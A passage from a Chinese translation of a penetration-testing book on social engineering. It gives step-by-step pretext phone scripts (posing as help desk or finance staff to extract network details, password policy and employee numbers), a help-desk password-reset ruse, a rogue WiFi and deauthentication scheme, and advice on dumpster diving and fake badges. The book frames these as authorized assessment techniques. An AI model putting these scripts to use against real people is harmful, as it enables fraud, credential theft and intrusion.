- 你的雇主是否允许你在午餐时间访问社交媒体网站?
-
- 你认为社交媒体网站是否提高了员工的士气?
-
一套简单的问题应该不会花费超过一分钟的时间来获取答案。已经实现的目标是找出他们的工作站是否有出站互联网访问权限,以及是否可能设置内容过滤。如果打算在交流期间发送钓鱼邮件,这些信息是有用的。
这个想法是提出一些看似无害的问题,并悄悄插入一个真正需要回答的问题。其中的诀窍是以间接的方式提问,就像第四个问题一样。你还会注意到"在午餐时间"。人们不会承认自己做了一些不应该做的事情,比如在工作时间上 Facebook,但在午餐时间呢?他们可以毫不犹豫地说是,而不会牵扯到自己。
调查在参与中当然是有一席之地的,但需要极大的耐心和坚持才能成功。
冒充员工
冒充其他员工绝对是完成工作的最有效方式之一。这不仅适用于信息收集,还适用于实际攻击。太少的组织在向内部员工提供信息之前进行身份验证的手段或者过程,这是社会工程师利用的。甚至有团队成员打电话给一个组织并编造一个名字。没错,一个不存在的员工通过电话获取信息。这只是强调了一个观点,即如果有足够的胆量拿起电话并听起来合法,很可能会得到积极的结果。
在"你会找谁?"部分有许多冒充员工的好例子,但还有许多可以利用的角度。
帮助台
那么选择冒充帮助台成员并打电话给其他内部员工帮助诊断可能并不存在的问题呢?记住,某个地方总会有人遇到电脑问题,并且他们很可能会大声抱怨。在这种情况下,通话会如何进行?
你: | "嗨,我是支持部门的迈克,我们在邮件服务器的日志中看到了错误,表明您在发送邮件时遇到了问题,您还在遇到问题吗?" |
---|---|
对方: | "不,我目前没有任何问题" |
你: | "好的,我们可以做一些快速检查,这样我就可以在支持工单中添加一些详细信息。如果以后出现问题,这将帮助我们" |
对方: | "当然,你需要我做什么?" |
这通话的其余部分将取决于所需信息的类型。如果只是需要知道内部 IP 地址方案,引导他们启动命令提示符并输入 ipconfig /all 的过程。这将为您提供客户端网络 IP 地址以及通过 DNS 服务器地址获取的服务器网络。DNS 服务器通常也是域控制器,这肯定会有助于缩小现场攻击的焦点。但是,更高级的信息呢?
你: | "好的,我们需要再次确认您是否正确连接到域,准备好下一个命令了吗?" |
---|---|
对方: | "尽管问吧" |
你: | "好的,输入 net accounts /domain" |
让受害者朗读回复应该提供域的密码策略。这些信息可以用来避免攻击外部系统时的锁定阈值。
试试让他们通过点击恶意超链接来检查他们的互联网访问情况。首选选项是凭证窃取器,以避免任何尴尬的杀毒软件警报。
员工编号
在社会工程中,可信度始终是关键。如果顾问有业务"需要知道"的需求,他们更有可能获得所需的信息。如果目标是让员工透露他们的员工编号,该如何做?需要是企业内部可能需要这些信息的人,那么财务部门怎么样?
You: | "嗨,莎拉,我是财务部的吉姆,最近怎么样?" |
---|---|
Sarah: | "嗨吉姆,谢谢,你有什么事吗?" |
You: | "莎拉,我们刚刚从负责我们工资的人那里收到了更新的支付信息,我们认为很多信息都是错误的。看起来很多员工编号与我记录的不符" |
Sarah: | "哦糟糕,听起来不太好" |
You: | "莎拉,这太糟糕了,看起来至少一半是错误的,包括你的,这可能意味着人们无法正确领取工资" |
Sarah: | "哦不!" |
You: | "我们正在尝试纠正每个人的记录,你在名单上,你能读出你的员工编号吗,以便我可以验证我们的记录是否正确?" |
Sarah: | "当然,是 4454536346346" |
You: | "看来你的确是正确的,我很高兴我们确认了!月底时不想让人们没有工资!" |
一旦有人认为他们可能拿不到工资,他们就会非常顺从。金钱无疑是最好的激励因素之一。这个故事之所以有效,是因为人们预期财务团队可能需要这些信息。外部组织处理工资也并不罕见。事实上,企业经常因为内部财务团队和外部工资之间的沟通不畅而受到影响。所有这些都增加了这种情景的可信度。现在唯一需要做的就是在电话中足够自在,以便进行一些能打破僵局的闲聊。一如既往,保持简单。情景越复杂,出错的可能性就越大。不要为通话中的任何失误而困扰,合法通话中也会发生,只需恢复并继续。这种情景会让财务团队的成员有点紧张,毕竟,人们可能会生气。
员工编号在许多方面都很有用。首先,它们可以用作公共门户的身份验证机制。其次,它们可以用于验证传入电话。员工编号还可以启动对人力资源的电话,然后用于获取更多情报。
获取关键信息和访问权限
以下是一些获取敏感信息、系统或物理场所访问权限的情景。
凭证和电子邮件访问
大多数组织都有某种公共面向邮件的存在,通常通过 Outlook Web Access(OWA)实现。要通过某种欺骗手段获得访问权限,首先需要确定谁可以提供所需的访问权限。毕竟,给养鱼缸的人打电话没有什么意义。
在这种情况下,有两种可用的途径;要么直接联系用户,要么联系帮助台并让他们重置密码。以下是一些可能的情景。
首先,假设我们不仅收集了大量的电子邮件地址,还枚举了子域并确定了 OWA 或类似的服务。所有这些都可以在侦察阶段中实现,如第八章中所述。
例如,只需用户名和 OWA 的 URL,就可以通过重置密码来获取密码。一个简单的电话,假装慌乱,解释说你正要参加一次重要会议,需要访问重要的电子邮件,再加上对 OWA 的几次认证失败,锁定账户,足以获得一个非常乐于助人的支持技术人员的帮助。然而,他们仍然需要一封电子邮件来验证身份。一个简单的任务!利用所有的研究,提前准备好受害者助手的姓名,对话大致如下:
"那么,如果我让简·罗杰斯给你发电子邮件,你可以重置我的密码吗?她是我的个人助理。" 支持技术人员说可以。
不幸的是,无法访问简的电子邮件账户,欺骗也不是一个选项,而且在时间范围内没有足够的时间来建立一个足够好的假域。唯一剩下的选择是希望目标的邮件客户端不显示实际的电子邮件地址,而是显示发件人的"姓名"。使用一个标准的免费邮件账户,确保"发件人"姓名显示为简·罗杰斯。创建了一封授权电子邮件,附有联系说明和一个手机号码。此外,还添加了在侦察阶段恢复的伪造电子邮件签名。又一次致电帮助台,让技术人员知道应该有一封来自简的邮件等待他,尽管在这一点上已知道这封邮件并没有发送。定期地,进一步的电话被打出,每次都逐渐显得越来越慌乱和恼怒,每次都确保提到简·罗杰斯这个名字。坚持认为简曾说过她已经发送了这封电子邮件好几次。一段时间后,消息被发送。最终,期待已久的电话被接听。支持技术人员通过重置密码的过程引导用户登录账户。
正如先前提到的,对某人施加压力往往会迫使他们做一些他们通常不会做的事情。 "压力和解决方案"技巧在第三章中有更详细的介绍。如果电子邮件立即发送出去,任务可能仍然会成功,但第一种方法往往是最成功和更加稳定的。在整个过程中,当天大约有六次通话与支持人员交谈,到这个时候,工程师已经和支持技术员熟悉起来。导致支持技术人员似乎终于能够帮助解决问题而感到宽慰。
需要注意的是,虽然完成一项工作会带来极大的满足感,但是利用一个辛勤工作的人是不好玩的。因此,始终强调这里的问题不是电话处理方式的问题。问题在于雇主没有提供必要的工具以安全地执行这个角色。改善这种情况应该是任何合作的最终目标。
如果必要的话,这种情景是可以进行调整的。例如,可以声称 Blackberry 手机丢失、被盗或损坏无法修复,并急需访问电子邮件。在这种前提下,也可以原谅不知道如何远程访问电子邮件,因此不知道 OWA 的 URL。在这种攻击向量中,推荐的选项是选择丢失或被盗,而不是损坏。损坏意味着序列号仍然可以从设备上读取。告诉他们设备被盗意味着他们很可能会锁定账户并重置密码以避免被攻击。这也意味着受害者很可能会将他们的设备擦除。在执行此攻击之前考虑到这些都是值得注意的事情。
这些原则也都适用于远程访问 VPN 门户。事实上,在许多情况下,VPN 也可能对域进行身份验证,因此如果您已经重置了一个 VPN,那么您可能可以使用相同的凭据访问一切。如果你是远程工作,VPN 访问可能是最终目标。它将与坐在他们的物理网络上完全相同。在这一点上,测试更多地回归到传统的渗透测试。
物理接入
没有什么比获得对一个受到严密保护的物品的物理接入更好的了。找到允许某人轻而易举地走过安保人员、摄像头和警报的流程漏洞是一种无价的感觉。在许多情况下,这不会是完全没有提前通知就出现,因为很多工作都是先打好基础,然后通过电话进行安排。
物理接入零日
有一种方法已经被证明在许多项目中非常成功。通常,这种方法会在较短的项目中使用,通常持续 1 或 2 天。在这里没有太多的回旋余地,所以典型的方法是进行一天的侦察和一天的现场工作。
我们开玩笑地称这种方法为零日,因为它的成功一直如此。也许它的成功与项目持续的天数直接相关。天数越少,投资就越少,在安全方面,所以也许组织正在尝试了解可能被视为低 hanging fruit 的问题?这种方法肯定攻击了明显的途径。客户可能希望了解更大的问题,解决它们,教育,并进行重新评估。最终,将寻找更不明显的问题,这可能需要更多时间来测试。
这种情景在本书中已经有所涉及。总体思路是冒充员工并安排一个即将到访的通行证。
在侦察阶段,应该已经确定了内部员工的姓名、办公室位置以及休假的员工。所有这些情报在情景中都起作用。打电话到区域办事处冒充总部员工总是一个好主意,正如我们在"你会找谁?"一节中所介绍的。
知道哪位员工离开以及离开多久,使工程师能够在电话中进行冒充,而不必担心被发现。最好在打电话之前找出这个人在哪个办公室和部门工作。
正如前面所述,接下来就是想一个合理的理由去区域办事处并需要访问的简单事情。比如,有人在 IT 部门工作,去现场做一些维护和升级工作?这将为你在那里的理由提供充分的依据,同时也为访问网络提供了合理性。此外,顾问可能会遇到好奇的员工,所以需要做好准备。需要确认现场没有自己的 IT 人员。例如,为什么不试试"我要离开几周,需要找人去那里升级一些交换机"的说辞。然后告诉接待人员你什么时候到达,并让他们准备好通行证。最坏的情况是他们要求进一步的授权,这时你可以要求与他们的主管交谈,并对他们施加更大的压力。我知道我们经常提到会议室,但一旦你拿到通行证,让接待人员为你预订一个房间。这将为你提供一个可以安心工作而不太可能受到挑战的地方。这真的减轻了压力,你可以在相对安宁的环境中继续你的目标。
这可能看起来像是一个极端的机会,但它确实经常奏效。如果有一个更长的参与过程,那么无疑这种方法肯定可以更加先进,但简单也有很多可取之处。
有关适用技术的更多信息已经在第三章提供。
如果有人想要武器化基于电话的攻击并攻击主机呢?
武器化你的电话
我意识到我有可能在谈论渗透测试,但这些电话必须有实际可行的结果。你可能不总是在测试组织的物理安全性,但需要从外部攻击网络中的主机。我相信有很多方法可以做到这一点,但这是其中一种最喜欢的方法。
首先,需要一个来自 Hak5 的无线 Pineapple 和一个具有数据包注入功能的 WiFi 适配器的笔记本电脑。有许多支持此功能的 Atheros 芯片组的无线适配器,比如 Alfa 或 TP-Link 722n。TP-Link 的好处是它们在亚马逊上很容易买到,目前在英国的价格只超过 £8。它们基本上是送出去的!另一个重要的项目是签名批准拒绝服务无线接入点。这本身可能是一个阻碍因素,但这是一个现实的概念,即使是技术上一般的攻击者也能实施。
向量基本上是在第三章讨论的破坏和协助概念。破坏和协助,顾名思义,是指破坏某物,然后以此为借口帮助某人解决问题。甚至可以社会工程第三方来破坏某物,然后打电话声称有能力提供帮助。无论从哪个角度来看,这都是一种有效的技术。
这将避免许多技术细节,因为它们在互联网上已经广泛覆盖了无线方面的事情。
基本上,这是对无线网络执行无线去认证攻击,打乱所有连接到它的人的通信。经过几次循环这个过程后,称为目标,冒充服务台人员。告诉目标说他们部门的每个人都会在随机间隔断开网络连接,并询问他们是否注意到了任何问题。即使目标没有注意到,他们周围的人很可能已经注意到了。如果没有,继续打电话给其他号码,直到找到有人。
此时,受害者被告知已经设置了一个新的无线网络来解决问题,并指导他们连接到它的过程。当然,他们要连接的无线网络是一个恶意的 WiFi Pineapple 或类似的伪装设备。现在,所有的流量都可以被拦截,从客户端到任何目的地。
社会工程工具包中还有功能可用于构建此类攻击。配置一个 SSID,当客户端连接时,所有 DNS 流量都会被拦截,目标将被路由到恶意页面,而不是其自己的内部资源。
设置新的无线网络需要提升的权限,但我们经常看到这种情况被允许,以便笔记本用户可以连接到他们的家庭网络或在外出时在各种地点连接。如果他们无法设置新的无线网络,你可以准备好一个凭证窃取站点作为备用计划。始终要有备用计划!
摘要
本章介绍了电话攻击的各个方面以及它们如何在参与过程中使用。
在整个大部分章节中提供了大量的现实世界示例和脚本,希望能给未来的参与者或自我防御教育提供一些想法和灵感。无论读者身处哪一方,他们现在都应该更好地准备应对这些攻击。
接下来,涉及电话系统、来电显示和环境声音等一些实际问题,这些问题在压力下很容易被忽视,尽管在任何评估过程中它们都至关重要。
最后,研究主动信息收集,这在许多方面类似于电子邮件信息收集,获取关键信息的方式,再次深入一些实际例子,最后以武器化电话呼叫以侵犯内部系统为结尾。
第十一章涵盖了现场社会工程工作和物理安全的所有方面。
第十一章:物理攻击向量
加文·沃森,高级安全工程师,RandomStorm 有限公司
在之前的章节中,攻击的基础已经奠定。现在是真正的乐趣时刻,进入目标,并完成评估。社会工程的物理方面是一个充满高潮和低谷的肾上腺素过山车。本章将帮助充分利用有限的现场时间,并希望不被抓住。
关键词
垃圾桶潜水;偷窥肩部;流氓接入点;道具和伪装;徽章和吊带;尾随进入
本章内容
• 在电子邮件和电话攻击的基础上
• 主动信息收集
• 垃圾桶潜水
• 偷窥肩部
• 摄影
• 接待区
• 公共访问区域
• 流氓接入点
• 道具和伪装
• 徽章和吊带
• 尾随进入
• 撬锁
• 一旦你进入内部
介绍
上一章提供了一些关于如何执行基于电话的社会工程方案的实用建议。讨论了现实世界的例子,展示了它们在许多现代攻击中的持续有效性。
以电话呼叫开始的攻击通常会导致对目标建筑的完全损害,而不仅仅是敏感信息的泄露。前一章介绍了作者用来实现这一目标的一些技术。然而,物理上攻击建筑的安全并不止于此,还需要考虑许多其他因素。
本章的目的是提供关于物理攻击作为社会工程评估的一部分的一些建议。将涵盖诸如通过分析接待区进行主动信息收集技术等主题。
将讨论各种行业工具,包括道具和伪装,假徽章和吊带,RFID 和磁条克隆器,撬锁。
在电子邮件和电话攻击的基础上
第四章 讨论了如何有效地利用时间来串联攻击向量,从而在评估中使用;一个攻击中披露的信息然后可以用来帮助下一个。在许多评估中,这将是自然的进展,对建筑物进行物理攻击将是基于已经完成的所有先前攻击的最后情景。
一旦电话和电子邮件攻击完成,就会有大量信息可供使用。侦察应该已经揭示了所有员工,他们的职位和联系方式,以及有关公司本身的所有信息。已经看到一通电话可以安排通行证或会议室,这可以在不进入现场的情况下完成。然而,尽管这种攻击非常有效,但在安全级别高于平均水平的企业中可能效果不佳。如果客户拥有成熟和经过测试的安全控制,则重点可能需要放在建筑物本身的属性上。因此,电话和电子邮件攻击将需要收集在突破建筑物安全方面和在实现这一目标后可以预期到的信息。
很明显,应该收集尽可能多的信息,但如果计划攻击建筑物,则应该回答一些基本问题。这些都是基本的安全问题,在这个列表中,它们从外向内工作。
• 是否有其他可以冒充的分支机构?
• 附近是否有其他企业?
• 周边地区是否由围栏保护,还是可以直接走到主门口?
• 是否有带栏杆的安全停车场?
• 是否有安保人员?
• 大楼外有安保办公室吗?
• 主要接待处是否有安保措施?
• 任何时候是否有多名接待员值班?
• 公司是否在建筑内实施 RFID 或磁条控制?
• 目标区域在哪一层?
• 有哪些第三方企业与目标公司合作?
大多数信息可以通过现场访问快速获取,但如果可以远程获取,则风险较小。此外,以上每个都是一个单独的社会工程场景,识别了该企业的信息披露漏洞。
为了展示像上面这样的信息有多容易获取,考虑一下作者们在实地评估前两天打给目标企业安保办公室的电话:
目标 | "你好,xyzsecurity 怎么帮您?" |
---|---|
你 | "你好,我是来自切斯特分公司的史蒂夫。我要去开会,但我刚刚被告知我的通行证在你们大楼里不能用,是这样吗?我记得上次我在那里时它还是有效的。" |
目标 | "不,它进不了接待处,但他们会让你进去,而且你不需要通行证在内部移动。" |
你 | "停车场的栏杆呢?" |
目标 | "一样的,他们会让你通过。" |
你 | "太好了,谢谢。" |
这些信息不会立即导致建筑物被入侵,但它们非常有用。我们打电话给安保办公室的事实显然告诉我们他们有保安人员,即使只是用来监视摄像头。还发现,要想在不与他们交谈的情况下进入接待处,需要一个通行证。有一个停车场,它用障碍物保护着。最后,不需要通行证就能在内部移动的事实至关重要;如果可以获得通行权,这意味着可以自由移动,从一个部门到另一个部门,从一层到另一层,甚至无需搭车。这意味着潜在的攻击者可以在入口处之一搭车,然后自由地在内部移动。如果情况是这样的话,那么在评估过程中应该尝试一次搭车情景。
在收集这些信息时,也很重要关注员工。正如第八章所述,侦察和攻击也可能揭示关键信息,例如员工徽章的设计以及他们通常穿什么颜色的挂绳。
主动信息收集
尽管有可能远程和安全地收集关于建筑物安全的大量信息,但实际访问现场将提供最大的见解。可能有一些物理安全控制和建筑属性是通过远程手段根本无法发现的。例如,一旦到达现场,就可能发现他们整个夏天都让后门敞开。要远程识别这种物理漏洞至少是具有挑战性的。然而,这不仅仅是指明显的物理漏洞,如敞开的门,还有大量关键信息可以通过实际访问现场来收集,例如目标企业、员工和物理安全控制。如上所述,当测试高安全性客户时,可能绝对需要包括一项物理侦察阶段,以填补远程侦察未能获得的遗漏信息。
垃圾搜查
垃圾搜查已经在本书中多次简要提到过,这一点并不令人惊讶,因为它是一种真正经典的技术。严格来说,翻找某人的垃圾堆并不是心理操纵的巅峰,但重要的是信息的使用方式。它合法吗?这取决于意图,取垃圾的地点是住宅还是商业场所,以及行为所在的国家。是否将垃圾视为盗窃是有争议的,但如果垃圾存放在公司财产上,那么如果试图未经允许获取垃圾,肯定会有擅自进入的一面。然而,在社会工程学评估方面,应该已经获得了执行此类情景的许可。
需要考虑的第一个挑战是如何真正接触到垃圾。如果已决定将其纳入评估中,也许是根据客户的要求,则需要回答以下基本问题:
• 垃圾是否放置在安全的位置?
• 平均有多少垃圾?
• 垃圾是否分为不同的类别?
• 业务是否与其他业务共用垃圾箱?
• 垃圾箱本身是否锁定或以任何方式受到保护?
• 你能否在不被察觉的情况下取出垃圾?
• 通常是谁收集垃圾,何时收集?
可以启动一系列电子邮件或电话攻击来回答这些问题。例如,打电话作为卫生与安全检查员、垃圾收集公司或任何其他以某种方式与之互动的第三方。可能有一个专门的公司负责安全且安全地处理媒体或文件。
如果其中一些问题可以得到答复,那么您可能只需走过去收集垃圾即可。例如,可能会发现业务后面有一些没有任何安全控制的垃圾箱。在夜间到达并秘密地带走袋子以进行检查可能是一项简单的任务。请记住,带走袋子要比在现场花费时间仔细查看要少得多,风险也更小。
请记住,这里处理的是垃圾,除非确切知道每个袋子里装了什么,否则要做最坏的准备。戴上重型安全手套、护目镜和适当的服装。不要跳进垃圾箱,只需干净地拿出袋子并将其运送到适当的区域以检查其内容。
如果垃圾区域受到保护,那么可能需要设计一个适当的借口来获得访问权限。这就是对通常获得访问权限的人进行侦察变得有用的地方。一个基本的情景可能是联系保安并冒充员工。顾问警告保安,xyzgarbage 公司的检查员将前来现场进行基本检查。然后,以 xyzgarbage 检查员的身份到达后,唯一的挑战将是说服保安需要被单独留下,"我有很多事情要做,我在出门时再来找你可以吗?"。或者工程师可以冒充员工,并向保安解释一份重要文件被意外丢弃了,是否可以提供进入该区域以检查垃圾箱?
寻找什么?许多书籍和文章会长篇大论地讨论寻找 USB 驱动器、硬盘、包含密码的纸片、网络图、列有员工名单的文件等。这些是显而易见的东西,实际上不应该需要一本书来说明这些信息有多么有用。如果有一个关于搜垃圾的实用建议,那么作者可以给出的建议就是考虑任何一条尚未知晓的具体业务信息是否有用。是的,找到贴有密码的便笺会很棒,但不要忽视其他潜在的关键信息。例如,如果发现了一个被扔掉的电子邮件对话的打印件。该对话的知识是否可以被用来获得信誉?是否有员工扔掉了一些包裹包装和通常包含在内的收据?因为这将包含物品和交付的细节,这使得冒充成提供物品的企业或投递物品的交付公司成为可能。
重要的是,这是一个处理所有垃圾并仔细思考所发现内容的情况。这是已经拥有的信息的重复吗?如果不是,有没有办法利用它?结果可能会非常有趣!
肩部窃听
肩部窃听是另一种经常被描述为社会工程学的信息收集技术。然而,与搜垃圾一样,重要的不是技术本身,而是如何使用所收集的信息。在最基本的意义上,肩部窃听是偷看别人在做什么的一种行为;输入、写作等。例如,一名员工可能会在同事输入密码时偷偷看他们的键盘,或者在撰写电子邮件时查看显示器。
可以争论说采用这种技术没有什么好处,因为已经实现了对目标建筑物的访问。虽然已经突破了安全,知道员工的密码可能会有些用处,但更容易的方法是插入设备并远程攻击网络。这是正确的,但员工并不是"总是"在目标建筑物内。例如,尽管是一种长期的技术,但攻击者可以在当地咖啡馆通过窥视员工使用笔记本电脑。如果密码可以看到,那么就可以用来访问企业电子邮件。然后可以用此来发起钓鱼邮件攻击。
寻找密码是显而易见的,但请记住,社会工程师可以潜在地使用任何信息来攻击企业。再次考虑咖啡馆的例子,攻击者还能看到什么?他们将能够看到操作系统版本、Web 浏览器、他们正在使用的软件以及笔记本电脑的制造和型号。这些都是非常有用的信息,可以在发动钓鱼攻击时帮助攻击者。了解所使用的软件可以缩小可能成功的攻击范围。
摄影
当针对一个实体建筑时,拍照的想法似乎是个明智的选择。在电影和电视节目中,有许多例子是专业团队秘密拍摄目标建筑和相关员工。在当今社会工程学中,这是必要的吗?相当可预测的答案是取决于具体情况。一般来说,拍摄建筑物通常是不必要的,因为快速访问 GoogleMaps 街景将提供足够清晰的建筑外部照片。如果无法获取在线照片,那么花时间拍照就只有在报告中包含相关内容时才真正必要。事实上,客户知道他们的建筑长什么样,他们每天都去那里。因此,包括一些建筑外部的照片对他们来说不会太有用。然而,如果由于安全控制而难以靠近拍照,那么这样做就会暴露出某些漏洞。从这个意义上讲,拍摄照片的行为变得重要起来。另一个应该包括建筑物照片的情况是如果它们指出了特定的漏洞。例如,作者进行的某项特定评估揭示了一个用廉价的插销锁定的外部门。门上方有三台安装在杆上的安全摄像头,没有一台摄像头覆盖门或通向门的路径。这是一个明显的问题,因此包括了照片。
一旦进入建筑物,照片通常用于"证明"已经访问到了目标。因此,可能会拍摄限制区域或在评估范围内定义的特定对象的照片。然而,这种使用摄影来证明目标已经实现,而不是为了主动信息收集的目的。
-
如果目标地点是非常高安全性的,并且有可能被摄像机拍到,那么摄影可以用于绘制特定的安全控制。一旦确定了摄像机的位置、方向、品牌和型号,理论上就可以制定避开它们的方案。然而,只有在计划进行"砸砸抢"方式的行动时才有必要这样做,即所有活动都需要保密。请记住,这种类型的情景很危险,只能确定少数几个漏洞,可能不能与客户的实际风险相匹配,并且应该总是最后尝试。
-
在现场使用摄影的最佳方式之一是拍摄员工的照片,他们穿着什么,佩戴什么颜色的挂绳和访客通行证。使用手机相当容易,只需记得将其调至静音,因为拍照的声音可能会迅速暴露任何行动!正如本书中多次提到的那样,吸烟区是与员工进行交流而又不易引起怀疑的好地方。由于员工们在这些区域往往被聚集在一起,拍照是相当直接的。
- - 接待区
-
接待员往往在社会工程评估中受到很多关注,原因已在本书中讨论过。如果一个接待员被妥协,那么入侵企业的安全将变得非常容易。然而,这个概念应该延伸到接待区本身。一般来说,这是门卫室,任何员工、承包商或访客在通过之前都会被筛查和希望得到认证。因此,如果在接待区本身找到了基本的漏洞,它们就可以在攻击场景中得到很好的利用。
-
曾经有案例显示,作者在目标接待处发现了自己社交媒体页面上的照片。然而,侦察可能不会透露这些信息,而获得这些信息的唯一方式就是亲自在接待处。这是否意味着这些信息只能在执行实际情景时才能获取和使用?不,有很多理由可能会有人出现在接待处。例如,迷路并简单地问路,或者甚至可能误入了错误的企业,尽管要小心不要在实际攻击中使用同一顾问,因为接待员可能会认出他们。
-
只需几秒钟时间四处看看,并注意重要的安全特征即可。考虑记录以下内容:
-
- 接待区是否足够大且繁忙,以至于你可以不被注意?
-
- 有多少接待员?
-
- 是否有保安?
-
- 是否有签到簿?
-
接待员会向访客发放什么?
-
- 接待区朝向什么方向?你可以不被注意地进入吗,还是接待员会立即问候你?
• 内部建筑有多少个门?它们有什么访问控制?
• 如果有其他门,它们会开多久?
• 有楼梯门吗?
• 有电梯吗?如果有,它有访问控制吗?
• 有等候区吗?
• 有公共接入终端吗?
• 有没有可见的网络接入点?
• 有什么身份验证控制?单人旋转门,生物识别或人体陷阱系统?
• 摄像头在哪里?它们覆盖了访问控制还是只是接待处?
这听起来都是非常明显的事情,但是令人惊讶的是,企业经常会犯简单的错误。作者曾经看到过旁边是 RFID 安全门的接待处,但电梯根本不需要任何身份验证。曾经看到过可以在接待员桌后进入并朝楼梯走的个人而不被看到的接待处。曾经看到过具有实时网络接入点的接待区/等候区。由于公共接入终端可以完全看到企业网络,安全漏洞变得可能。
永远不要低估接待区可能存在的漏洞,因为它们可能被利用来突破网络的安全,甚至是建筑物本身的安全。
公共接入区域
对于社会工程师来说,公共接入区就像一个接待处,但几乎没有被质疑的风险。企业提供了一个可以被任何人利用的服务区域。一个很好的例子是医院;在大多数情况下,人们可以自由进入并坐在食堂或各种等候区,而不会受到质疑。这些区域对企业来说是一个非常严重的安全情况。在理想的情况下,该区域将完全锁定,不与实际企业网络连接,并且没有可用于攻击的服务或信息。然而,事实很少如此,公共接入区域往往是攻击者等待利用的主要弱点。
就侦察而言,公共接入区域是攻击者可能了解建筑布局的机会。他们理论上可以留在这个安全区域,并观察所有通往受限区域的入口,看接待员何时换班,或者看安全人员何时离开。
如前一节所述,公共访问区域通常有公共访问终端和网络点。希望网络点已经被禁用或者在物理上无法访问;如果有机会的话,攻击者肯定会检查。至于公共访问终端,即使它们没有连接到企业网络,它们是否有任何重复使用的密码?也许企业网络上的一个高特权用户在该终端上重复使用本地管理员密码。终端本身如何安全?作者曾见过终端被放在一个配有廉价易于撬开的片状锁的小柜子里,"安全"起来的情况。
攻击者可以轻易地撬开锁并随意篡改设备。如果它们有公共访问终端,请仔细考虑它们存储的信息和它们使用的连接。
流氓接入点
下一章将讨论可以用作现场社会工程评估一部分的各种设备。这些主要是可以用于建立出站连接(后门)的设备。流氓接入点是实现这一目标的一种方式。如果攻击者能够插入一个"流氓"无线接入点,他们可以从安全距离(如停车场)或者甚至更远的地方使用专业设备攻击网络。然而,值得一提的是,在本章中提到流氓接入点的能力以远程收集信息。
攻击者可以不必进入建筑物并安装一个流氓接入点,而是可以在建筑物外面设置一个。如果员工连接到这个无线网络,他们的流量可能会被拦截并解析出有用的信息,包括密码。攻击者会设置一个广播 SSID 的开放式无线网络,例如"OpenWifi"或"免费上网"。如果他们想要针对 IT 部门的员工,他们可以启用 WEP 加密,希望更专业的员工会尝试黑入并使用这些服务。
这种类型的攻击对于那些没有无线网络的企业来说是最有效的,不管是出于安全原因还是一般的实用性。在这样的企业中,员工通常会感激能够连接他们的智能手机或笔记本电脑到无线网络上以供自己使用。因此,一个免费的无线网络会相当诱人。
有机会攻击连接到接入点的员工的计算机。这是一种有效的技术,如果成功的话,它可以提供对企业网络的立足点。例如,通过妥协员工的计算机,可以安装一个在计算机连接到企业网络时回调的后门程序。然而,这样的攻击场景开始偏离社会工程的重点。
这种技术可以被社会工程师用来收集用户名和密码。如果攻击者获得了诸如员工的电子邮件帐户之类的服务的访问权限,那么他们可以发起非常有效的网络钓鱼邮件,并且可以了解潜在目标的大量信息。员工访问的网站可能是非常有用的信息,可以用来针对他们。员工重新使用密码在企业服务上的可能性也存在严重的安全问题。
这样的技术能在社会工程评估中使用吗?一般来说,这是一个灰色地带,取决于评估是在公共部门还是私人部门进行,以及在哪个国家进行。这里的主要问题是攻击很可能会收集员工的个人信息(如个人账户密码),并可能违反《1998 年人权法》等法律法规。访问员工的企业电子邮件帐户与访问他们的个人电子邮件帐户是完全不同的事情。
道具和伪装
道具和伪装经常出现在夸张的间谍电影和电视节目中。在现实世界中,戴着假胡须和厚厚的眼镜愚弄保安是荒谬的想法。然而,无论这个想法多么荒谬,每个专业社会工程师的工具包中都应该有一些特定的物品。
如果意图是在现场冒充一个角色,那么你显然需要看起来像是那个角色。正如前几章所讨论的,冒充是指看起来、听起来和行为举止都与被冒充的角色完全一致。因此,任何社会工程工具包都应该包含适合各种不同角色的服装和物品。这包括从正装到工作服、夹克、文件夹、公文包、工具箱等一切。花点时间为虚构公司和实际存在的公司创建一系列制服,当然不包括紧急服务!此外,考虑一下细节,花钱绣上标志而不只是印刷上去,如果合适的话,包括匹配的棒球帽,甚至定制的挂绳上印有公司名称。
道具可以在获得信誉方面起到很大的作用,但请记住,它们必须被视为支持性物品,而不是攻击的基础。不要根据向保安挥舞文件夹使访问看起来官方的情节。这些物品是为了使冒充更具说服力,以及为了获得更好的信誉,以便能够执行主要情节并增加成功的机会。例如,如果要携带一个文件夹,请考虑打印一封带有目标企业标志的假信件。任何看到标志的旁观者可能会立即给予信任,甚至可能根本不多考虑。
一个非常常见且老套的组合是工人的高能见度背心和安全帽。这种打扮的人大多数人都不会想去质疑。一个社会工程师可以和同事一起在目标地点四处走动,指着屋顶,在剪贴板上写字。任何旁观者都会假设他们正在进行某种检查,并且不会再多想。这种技术现在已经相当过时,大多数意识培训项目可能会涵盖它。如果计划使用这种身份冒充,那么要仔细考虑细节。一个常见的错误是购买全新的高能见度背心和安全帽,这在某种程度上显得不太正常。有多少工人穿着全新的服装?当作者们最初建立社会工程服装时,他们用旧的背心和帽子换掉了全新的。不幸的是,使用过的物品散发着柴油味,但至少它们看起来是真实的,因为它们是真实的。如果没有别的办法,这种服装组合可以在垃圾箱翻找时使用,因为任何有合法理由与垃圾互动的人都会穿着类似甚至相同的服装。
徽章和挂绳
在本章中,我们已经提到了徽章和挂绳,但是由于它们在物理社会工程活动中占据了如此重要的位置,它们值得拥有自己的章节。
员工徽章通常具有多种功能,如身份识别、身份验证和授权。徽章通常会显示个人姓名、职位、部门、照片、企业名称、企业标志和其他杂项信息。徽章本身还可能配备有射频识别(RFID)或磁条,并使员工能够验证自己以通过某些物理安全控制。在安全环境中,员工被告知确保他们的徽章随时可见。承包商和访客可能会被赋予不同类型的徽章,可能具有非常不同的格式,或者他们的徽章可能只是从签到簿中撕下来的纸质临时徽章。
正如前文所述,秘密拍摄当前使用的徽章并不困难。由于安全最佳实践鼓励员工将其保持可见,这项任务变得更加容易。经常发现的情况是,员工在上班路上、外出午餐或回家途中仍然将徽章佩戴在外衣上。因此,社会工程师有机会制作一个假徽章以获得可信度,并使冒充更具说服力。所需的只是一个基本的照片编辑软件包,就可以创建一个非常逼真的复印件。请记住,员工徽章通常只是一个徽标(可以在线获取)、一张照片(可以本地复制)和几行文本。如果计划执行涉及冒充其他分支机构员工的情景,那么假通行证可能就是证明身份的全部所需。
显然,假通行证无法提供 RFID 或磁条的身份验证益处,因此在情景中需要考虑到这一点。如果将通行证举到读卡器前却没有任何反应,试着对后面的人耸耸肩,说这又出问题了。他们会挑战这种说法吗?可能不会,特别是如果通行证看起来很可信,而且你对情况感到很生气的话。
